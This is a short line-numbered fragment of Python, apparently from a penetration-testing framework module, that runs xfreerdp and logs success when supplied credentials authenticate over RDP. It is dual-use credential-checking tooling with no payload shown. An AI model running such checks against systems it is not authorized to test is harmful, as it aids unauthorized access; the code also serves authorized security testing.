| success_login_yes_rdp = "Authentication only, exit status 0" 46 | if success_login_yes_rdp in output.decode('utf-8'): 47 | context.log.success(f"Connection successfuly in RDP using provided credentials.") 48 | context.log.success(showcommand) 49 | else: 50 | None 51 | #context.log.error("Authentication error using xfreerdp") 52 | except subprocess.CalledProcessError as e: 53 | #context.log.error("Authentication error using xfreerdp.") 54 | None 55 | 56 | --------------------------------------------------------------------------------